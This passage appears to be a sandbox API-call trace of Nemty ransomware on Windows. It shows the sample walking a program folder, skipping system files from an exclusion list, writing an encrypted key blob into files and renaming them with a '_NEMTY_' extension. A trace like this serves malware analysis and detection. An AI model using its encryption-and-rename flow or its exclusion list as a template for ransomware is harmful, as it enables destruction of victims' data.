CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0069.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0069.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0069.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0069.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0069.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0069.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0069.694] Sleep (dwMilliseconds=0x5) [0069.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd30c430, dwHighDateTime=0x1d561e7)) [0069.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd30c430, dwHighDateTime=0x1d561e7)) [0069.699] GetLastError () returned 0xb7 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.699] GetLastError () returned 0xb7 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0069.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0069.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0069.699] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.699] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="aVcjRhMpPRIDrWtWYSqfdQjABSPPRow74ppthQihzFDxIz9oo3Dz2bdvgjBz4pR4\r\nms3KspIIxUAK5KNxz8X0wNiuoZqAPLwdQQojYszOB/9mDHdsxekUjSe+jZNnnh7T\r\nATyttWb6JR9Tp95pDaRHaLJ30aNfon+LxtK4wO9NUs4bMbRpPtroGSwUCGDx3kay\r\n7GrQKmLmOhtcXll48AUXdaAJCS0pPsu5a4Vtg4TaKAPM9VbWYiZPVPB9DQfFMDxE\r\nyPsXMa6kDDvPDiZyPJTdjmg30zl4W7ktAIWIX++SZ8rkDrQ81envlorxl4YKliT2\r\nwo56xdfD2CZghbVnCz2KQg==\r\n", pcchString=0x653e91c) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.699] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.699] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0069.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0069.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0069.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.824] CloseHandle (hObject=0xffffffff) returned 0 [0069.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0069.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0069.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0069.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0069.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0069.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0069.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0069.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0069.825] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.825] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="...") returned 1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="windows") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="$RECYCLE.BIN") returned 1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="rsa") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="NTDETECT.COM") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="MSDOS.SYS") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="IO.SYS") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="AUTOEXEC.BAT") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="CONFIG.SYS") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="RECYCLER") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="BOOTSECT.BAK") returned -1 [0069.825] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0069.826] lstrcmpiW (lpString1="15x15dot.png", lpString2="programdata") returned -1 [0069.826] lstrcmpiW (lpString1="15x15dot.png", lpString2="appdata") returned -1 [0069.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0069.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0069.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0069.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0069.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 